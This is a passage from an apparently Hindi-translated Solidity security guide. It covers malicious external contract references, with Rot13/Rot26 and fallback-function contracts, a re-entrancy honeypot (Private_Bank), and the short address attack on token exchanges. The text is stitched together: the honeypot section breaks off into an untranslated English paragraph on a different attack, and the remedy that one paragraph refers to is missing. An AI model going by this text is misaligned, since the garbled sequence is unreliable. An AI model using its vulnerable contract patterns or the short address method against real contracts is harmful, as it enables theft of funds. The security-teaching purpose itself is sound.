                {mstore8(add(add(text,0x20), mul(i,1)), sub(char,13))}
            }
        }
        emit Result(text);
    }
}

// constructor - initialise the library
constructor(Rot13Encryption _encryptionLibrary) {
    encryptionLibrary = _encryptionLibrary;
}

function encryptPrivateData(string privateInfo) {
    // potentially do some operations here
    encryptionLibrary.rot13Encrypt(privateInfo);
 }

इस अनुबंध के साथ समस्या यह है कि `encryptionLibrary` पता सार्वजनिक या स्थिर नहीं है। इस प्रकार, अनुबंध का डिप्लॉयर कंस्ट्रक्टर में एक ऐसा पता दे सकता था जो इस अनुबंध की ओर इंगित करता है:```solidity
//encryption contract
contract Rot26Encryption {

   event Result(string convertedString);

    //rot13 encrypt a string
    function rot13Encrypt (string text) public {
        uint256 length = bytes(text).length;
        for (var i = 0; i < length; i++) {
            byte char = bytes(text)[i];
            //inline assembly to modify the string
            assembly {
                char := byte(0,char) // get the first byte
                if and(gt(char,0x6D), lt(char,0x7B)) // if the character is in [n,z], i.e. wrapping.
                { char:= sub(0x60, sub(0x7A,char)) } // subtract from the ascii number a by the difference char is from z.
                if iszero(eq(char, 0x20)) // ignore spaces
                {mstore8(add(add(text,0x20), mul(i,1)), add(char,26))} // add 13 to char.
            }
        }
        emit Result(text);
    }

    // rot13 decrypt a string
    function rot13Decrypt (string text) public {
        uint256 length = bytes(text).length;
        for (var i = 0; i < length; i++) {
            byte char = bytes(text)[i];
            assembly {
                char := byte(0,char)
                if and(gt(char,0x60), lt(char,0x6E))
                { char:= add(0x7B, sub(char,0x61)) }
                if iszero(eq(char, 0x20))
                {mstore8(add(add(text,0x20), mul(i,1)), sub(char,26))}
            }
        }
        emit Result(text);
    }
}

function rot13Encrypt(string text) public {
    emit Print(text);
}

यदि इनमें से किसी भी अनुबंध का पता कंस्ट्रक्टर में दिया गया होता, तो `encryptPrivateData()` फ़ंक्शन केवल एक इवेंट उत्पन्न करेगा जो अनएन्क्रिप्टेड निजी डेटा को प्रिंट करता है। हालाँकि इस उदाहरण में कंस्ट्रक्टर में एक लाइब्रेरी-जैसा अनुबंध सेट किया गया था, अक्सर ऐसा होता है कि एक विशेषाधिकार प्राप्त उपयोगकर्ता (जैसे `owner`) लाइब्रेरी अनुबंध पते बदल सकता है। यदि किसी लिंक किए गए अनुबंध में वह फ़ंक्शन शामिल नहीं है जिसे कॉल किया जा रहा है, तो फ़ॉलबैक फ़ंक्शन निष्पादित होगा। उदाहरण के लिए, `encryptionLibrary.rot13Encrypt()` पंक्ति के साथ, यदि `encryptionLibrary` द्वारा निर्दिष्ट अनुबंध था:```solidity
 contract Blank {
     event Print(string text);
     function () {
         emit Print("Here");
         //put malicious code here and it will run
     }
 }

इस तरह, संदर्भित कॉन्ट्रैक्ट का एक इंस्टेंस डिप्लॉयमेंट के समय बनाया जाता है और डिप्लॉयर स्मार्ट कॉन्ट्रैक्ट को संशोधित किए बिना `Rot13Encryption` कॉन्ट्रैक्ट को किसी और चीज़ से प्रतिस्थापित नहीं कर सकता।

एक और समाधान यह है कि यदि ज्ञात हों तो किसी भी बाहरी कॉन्ट्रैक्ट पते को हार्ड कोड कर दिया जाए।

सामान्य तौर पर, बाहरी कॉन्ट्रैक्ट को कॉल करने वाले कोड को हमेशा ध्यान से देखा जाना चाहिए। एक डेवलपर के रूप में, बाहरी कॉन्ट्रैक्ट को परिभाषित करते समय, कॉन्ट्रैक्ट पतों को सार्वजनिक करना एक अच्छा विचार हो सकता है (जैसा कि नीचे दिए गए हनी-पॉट उदाहरण में नहीं है) ताकि उपयोगकर्ता आसानी से जांच सकें कि कॉन्ट्रैक्ट द्वारा किस कोड का संदर्भ दिया जा रहा है। इसके विपरीत, यदि किसी कॉन्ट्रैक्ट में कोई निजी वेरिएबल कॉन्ट्रैक्ट पता है, तो यह किसी के दुर्भावनापूर्ण व्यवहार का संकेत हो सकता है (जैसा कि वास्तविक-विश्व उदाहरण में दिखाया गया है)। यदि कोई विशेषाधिकार प्राप्त (या कोई भी) उपयोगकर्ता किसी कॉन्ट्रैक्ट पते को बदलने में सक्षम है जिसका उपयोग बाहरी फ़ंक्शन को कॉल करने के लिए किया जाता है, तो (विकेंद्रीकृत सिस्टम के संदर्भ में) टाइम-लॉक या मतदान तंत्र लागू करना महत्वपूर्ण हो सकता है, ताकि उपयोगकर्ता देख सकें कि कौन सा कोड बदला जा रहा है या प्रतिभागियों को नए कॉन्ट्रैक्ट पते के साथ ऑप्ट इन/आउट करने का अवसर मिल सके।


<h3 id="cr-example">वास्तविक-विश्व उदाहरण: री-एंट्रेंसी हनी पॉट</h3>

हाल ही में कई हनी पॉट मेननेट पर जारी किए गए हैं। ये कॉन्ट्रैक्ट उन एथेरियम हैकर्स को मात देने की कोशिश करते हैं जो कॉन्ट्रैक्ट का शोषण करने की कोशिश करते हैं, लेकिन जो बदले में उस कॉन्ट्रैक्ट में ईथर खो देते हैं जिसका वे शोषण करने की उम्मीद करते हैं। एक उदाहरण उपरोक्त हमले का उपयोग करता है, जिसमें कंस्ट्रक्टर में एक अपेक्षित कॉन्ट्रैक्ट को एक दुर्भावनापूर्ण कॉन्ट्रैक्ट से बदल दिया जाता है। कोड [यहाँ](https://etherscan.io/address/0x95d34980095380851902ccd9a1fb4c813c2cb639#code) पाया जा सकता है:```solidity
pragma solidity ^0.4.19;

contract Private_Bank
{
    mapping (address => uint) public balances;
    uint public MinDeposit = 1 ether;
    Log TransferLog;

    function Private_Bank(address _log)
    {
        TransferLog = Log(_log);
    }

    function Deposit()
    public
    payable
    {
        if(msg.value >= MinDeposit)
        {
            balances[msg.sender]+=msg.value;
            TransferLog.AddMessage(msg.sender,msg.value,"Deposit");
        }
    }

    function CashOut(uint _am)
    {
        if(_am<=balances[msg.sender])
        {
            if(msg.sender.call.value(_am)())
            {
                balances[msg.sender]-=_am;
                TransferLog.AddMessage(msg.sender,_am,"CashOut");
            }
        }
    }

    function() public payable{}

}

contract Log
{
    struct Message
    {
        address Sender;
        string  Data;
        uint Val;
        uint  Time;
    }

    Message[] public History;
    Message LastMsg;

    function AddMessage(address _adr,uint _val,string _data)
    public
    {
        LastMsg.Sender = _adr;
        LastMsg.Time = now;
        LastMsg.Val = _val;
        LastMsg.Data = _data;
        History.push(LastMsg);
    }
}

Now consider, an exchange, holding a large amount of a token (let's say `REP`) and a user wishes to withdraw their share of 100 tokens. The user would submit their address, `0xdeaddeaddeaddeaddeaddeaddeaddeaddeaddead` and the number of tokens, `100`. The exchange would encode these parameters in the order specified by the `transfer()` function, i.e. `address` then `tokens`. The encoded result would be `a9059cbb000000000000000000000000deaddeaddeaddeaddeaddeaddeaddeaddeaddead0000000000` `000000000000000000000000000000000056bc75e2d63100000`. The first four bytes (`a9059cbb`) are the `transfer()` [function signature/selector](https://solidity.readthedocs.io/en/latest/abi-spec.html#function-selector), the second 32 bytes are the address, followed by the final 32 bytes which represent the `uint256` number of tokens. Notice that the hex `56bc75e2d63100000` at the end corresponds to 100 tokens (with 18 decimal places, as specified by the `REP` token contract).

ठीक है, अब देखते हैं कि क्या होता है यदि हम एक ऐसा पता भेजते हैं जिसमें 1 बाइट (2 हेक्स अंक) कम हों। विशेष रूप से, मान लें कि एक हमलावर `0xdeaddeaddeaddeaddeaddeaddeaddeaddeadde` को पते के रूप में भेजता है (अंतिम दो अंक गायब हैं) और उसी `100` टोकन को निकालने के लिए। यदि एक्सचेंज इस इनपुट को मान्य नहीं करता है, तो यह `a9059cbb000000000000000000000000deaddeaddeaddeaddeaddeaddeaddeaddeadde00000000000000` `00000000000000000000000000000000056bc75e2d6310000000` के रूप में एनकोड हो जाएगा। अंतर सूक्ष्म है। ध्यान दें कि भेजे गए छोटे पते की भरपाई के लिए एन्कोडिंग के अंत में `00` जोड़ दिया गया है। जब यह स्मार्ट कॉन्ट्रैक्ट को भेजा जाता है, तो `address` पैरामीटर `0xdeaddeaddeaddeaddeaddeaddeaddeaddeadde00` के रूप में पढ़े जाएंगे और मान `56bc75e2d6310000000` के रूप में पढ़ा जाएगा (दो अतिरिक्त `0` देखें)। यह मान अब `25600` टोकन है (मान को `256` से गुणा किया गया है)। इस उदाहरण में, यदि एक्सचेंज के पास इतने टोकन होते, तो उपयोगकर्ता संशोधित पते पर `25600` टोकन निकाल लेता (जबकि एक्सचेंज सोचता है कि उपयोगकर्ता केवल `100` निकाल रहा है)। जाहिर है, इस उदाहरण में हमलावर के पास संशोधित पता नहीं होगा, लेकिन यदि हमलावर कोई भी ऐसा पता उत्पन्न करता है जो `0` पर समाप्त होता है (जिसे आसानी से ब्रूट फोर्स किया जा सकता है) और उस उत्पन्न पते का उपयोग करता है, तो वह आसानी से अनजान एक्सचेंज से टोकन चुरा सकता है।

<h3 id="short-prev">निवारक तकनीकें</h3>